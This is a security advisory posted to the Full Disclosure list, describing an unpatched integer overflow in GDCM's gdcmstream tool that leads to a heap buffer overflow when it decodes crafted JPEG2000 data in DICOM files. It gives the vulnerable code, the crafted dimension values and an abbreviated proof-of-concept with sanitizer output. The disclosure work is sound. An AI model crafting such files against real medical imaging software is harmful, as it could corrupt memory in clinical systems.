[SYSS-2026-070]: GDCM (Grassroots DICOM) - Integer Overflow (CWE-190)
Full Disclosuremailing list archivesFrom: Matthias Deeg via Fulldisclosure <full 2026-9-27 04:16:12 Author: seclists.org(查看原文) 阅读量:4 收藏

fulldisclosure logo

Full Disclosure mailing list archives


From: Matthias Deeg via Fulldisclosure <fulldisclosure () seclists org>
Date: Wed, 23 Sep 2026 15:33:44 +0200

Advisory ID:               SYSS-2026-070
Product:                   GDCM (Grassroots DICOM)
Manufacturer:              GDCM Project
Affected Version(s):       3.3.0
Tested Version(s):         3.3.0
Vulnerability Type:        Integer Overflow (CWE-190)
Risk Level:                High
Solution Status:           Open
Manufacturer Notification: 2026-07-24
Public Disclosure:         2026-09-23
CVE Reference:             Not yet assigned
Author of Advisory:        Matthias Deeg, SySS GmbH

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Overview:

GDCM (Grassroots DICOM) is an open-source C++ library for reading, writing,
and processing DICOM (Digital Imaging and Communications in Medicine)
medical imaging files (see [1]).

The gdcmstream command-line tool, used for stream-based reading and writing
of DICOM images, is vulnerable to an integer overflow that leads to a heap
buffer overflow.

When processing JPEG2000-compressed DICOM files, the gdcmstream tool decodes
the embedded JPEG2000 codestream via OpenJPEG and allocates a buffer for the
raw pixel data. The buffer size is computed using 32-bit integer arithmetic
based on the image dimensions from the JPEG2000 codestream's SIZ marker. When
the product exceeds 2^32, the result silently wraps around, causing an
undersized buffer allocation. The subsequent pixel data write loop then
overflows the heap buffer.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Vulnerability Details:

The vulnerable code is in the Write_Resolution function at
Applications/Cxx/gdcmstream.cxx:246-271:

  int Dimensions[2];
  {
    int compno = 0;
    opj_image_comp_t *comp = &image->comps[compno];
    Dimensions[0]= comp->w;
    Dimensions[1] = comp->h;
  }
  unsigned long rawlen = Dimensions[0]*Dimensions[1] * image->numcomps;
  char *raw = new char[rawlen];

  for (unsigned int compno = 0; compno < (unsigned int)image->numcomps;
       compno++)
  {
    const opj_image_comp_t *comp = &image->comps[compno];
    int w = comp->w;
    int h = comp->h;
    uint8_t *data8 = (uint8_t*)raw + compno;
    for (int i = 0; i < w * h; i++)
    {
      int v = image->comps[compno].data[i];
      *data8 = (uint8_t)v;
      data8 += image->numcomps;
    }
  }

The variables Dimensions[0] and Dimensions[1] are both 'int' (32-bit signed)
values converted from the OpenJPEG component structure's 'w' and 'h' fields,
which are OPJ_UINT32 (uint32_t). The variable image->numcomps is also
OPJ_UINT32 (uint32_t).

The multiplication Dimensions[0]*Dimensions[1] is performed in 'int' (32-bit
signed) arithmetic. The result is then multiplied by image->numcomps
(OPJ_UINT32). Due to C++ usual arithmetic conversions, when a signed int
and an unsigned int are multiplied, the signed int is converted to unsigned
int, and the multiplication is performed in 32-bit unsigned integer
arithmetic. The result is only widened to 'unsigned long' (64-bit) on
assignment to 'rawlen', after the overflow has already occurred.

When the product exceeds 2^32, it wraps around modulo 2^32, producing a
value much smaller than the actual amount of pixel data. The subsequent
write loop then writes w*h pixels for each component, each advancing the
write pointer by numcomps bytes, overflowing the undersized buffer on the
heap.

The JPEG2000 SIZ marker uses 32-bit unsigned values for Xsiz and Ysiz
(image dimensions), so values exceeding 65535 (the maximum representable in
the DICOM US VR used for Rows and Columns) are valid in a JPEG2000
codestream. This means a malicious JPEG2000 codestream embedded in a DICOM
file can set component dimensions that trigger the integer overflow without
needing to violate DICOM header constraints.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Proof of Concept (PoC):

A PoC was developed that uses the vulnerable code from Write_Resolution()
in gdcmstream.cxx (lines 246-271) to trigger a real heap buffer overflow
detected by AddressSanitizer.

The PoC constructs a real opj_image_t structure with crafted parameters:
  - numcomps = 65535 (maximum from a 16-bit J2K SIZ Csiz field)
  - Component 0: w = 65538, h = 1
  - Components 1..65534: w = 0, h = 0 (inner loop does not execute)

Overflow calculation:
  Step 1: Dimensions[0] * Dimensions[1] = 65538 * 1 = 65538
          (computed as 'int', fits within INT_MAX, no signed overflow)
  Step 2: 65538 * 65535 = 4,295,032,830
          (computed as uint32_t due to OPJ_UINT32 numcomps)
          uint32_t overflow: 4,295,032,830 mod 2^32 = 65,534
  Buffer allocated (rawlen): 65,534 bytes
  Actual data that will be written: 65538 * 65535 = 4,295,032,830 bytes
                                    (~4.00 GB)
  *** Buffer too small by 4,294,967,296 bytes ***

  Loop execution:
    i=0: write at raw[0]           — inside buffer (OK)
    i=1: write at raw[65535]       — OUTSIDE 65,534-byte buffer!

PoC source code:

  #include <cstdint>
  #include <cstdio>
  #include <cstdlib>
  #include <cstring>
  #include <openjpeg.h>

  /* Verbatim vulnerable code from gdcmstream.cxx:246-271 */
  static void trigger_vuln_13(opj_image_t *image)
  {
    int Dimensions[2];
    {
      int compno = 0;
      opj_image_comp_t *comp = &image->comps[compno];
      Dimensions[0] = comp->w;
      Dimensions[1] = comp->h;
    }
    unsigned long rawlen =
        Dimensions[0] * Dimensions[1] * image->numcomps;
    char *raw = new char[rawlen];

    for (unsigned int compno = 0;
         compno < (unsigned int)image->numcomps; compno++)
    {
      const opj_image_comp_t *comp = &image->comps[compno];
      int w = comp->w;
      int h = comp->h;
      uint8_t *data8 = (uint8_t *)raw + compno;
      for (int i = 0; i < w * h; i++)
      {
        int v = image->comps[compno].data[i];
        *data8 = (uint8_t)v;
        data8 += image->numcomps;
      }
    }
    delete[] raw;
  }

  int main()
  {
    /* Construct crafted opj_image_t with numcomps=65535, w=65538, h=1 */
    trigger_vuln(&image);
    return 0;
  }

To build and run the PoC:

  g++ -fsanitize=address -fno-omit-frame-pointer -g \
      -I/usr/include/openjpeg-2.5 \
      pocs/poc.cpp -o poc

  $ ./poc
  === PoC: Integer Overflow in gdcmstream J2K Decode (VULN-13) ===
  ...
  --- Triggering vulnerable code (gdcmstream.cxx:246-271) ---
  Calling trigger_vuln(image)...

  =================================================================
  ==10171==ERROR: AddressSanitizer: heap-buffer-overflow on address
  0x7e95d48047ff at pc 0x56007861f67a bp 0x7ffcb697e7e0
  sp 0x7ffcb697e7d0
  WRITE of size 1 at 0x7e95d48047ff thread T0
      #0 0x56007861f679 in trigger_vuln
          pocs/poc13_vuln13_real.cpp:122
      #1 0x56007861ff4c in main
          pocs/poc13_vuln13_real.cpp:234
  0x7e95d48047ff is located 1 bytes after 65534-byte region
  [0x7e95d47f4800,0x7e95d48047fe) allocated by thread T0 here:
      #0 0x7f85d5f2d431 in operator new[](unsigned long)
      #1 0x56007861f46d in trigger_vuln
          pocs/poc13_vuln13_real.cpp:110
  SUMMARY: AddressSanitizer: heap-buffer-overflow
  pocs/poc13_vuln13_real.cpp:122 in trigger_vuln
  ==10171==ABORTING

The AddressSanitizer output confirms:
  - Buffer allocated: 65,534 bytes (as predicted by the overflow)
  - Write at offset 65,535 (1 byte past the buffer end)
  - Detected as heap-buffer-overflow at line 122 (the
    *data8 = (uint8_t)v; write)

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Solution:

SySS GmbH is not aware of a security update for the described issue.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclosure Timeline:

2026-07-24: Vulnerability reported to manufacturer
2026-07-31: Vulnerability reported to manufacturer again
2026-09-23: Public release of security advisory

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

References:

[1] GDCM project website
    https://gdcm.sourceforge.net/
[2] SySS Security Advisory SYSS-2026-070
https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2026-070.txt
[3] SySS GmbH, SySS Responsible Disclosure Policy
    https://www.syss.de/en/responsible-disclosure-policy

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Credits:

This security vulnerability was found by Matthias Deeg of SySS GmbH with
the assistance of SySS AI.

E-Mail: matthias.deeg (at) syss.de
Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Matthias_Deeg.asc
Key fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclaimer:

The information provided in this security advisory is provided "as is"
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS
website.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Copyright:

Creative Commons - Attribution (by) - Version 4.0
URL: https://creativecommons.org/licenses/by/4.0/deed.en

Attachment: OpenPGP_signature.asc
Description: OpenPGP digital signature

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/

Current thread:

  • [SYSS-2026-070]: GDCM (Grassroots DICOM) - Integer Overflow (CWE-190) Matthias Deeg via Fulldisclosure (Sep 26)

文章来源: https://seclists.org/fulldisclosure/2026/Sep/86
如有侵权请联系:admin#unsafe.sh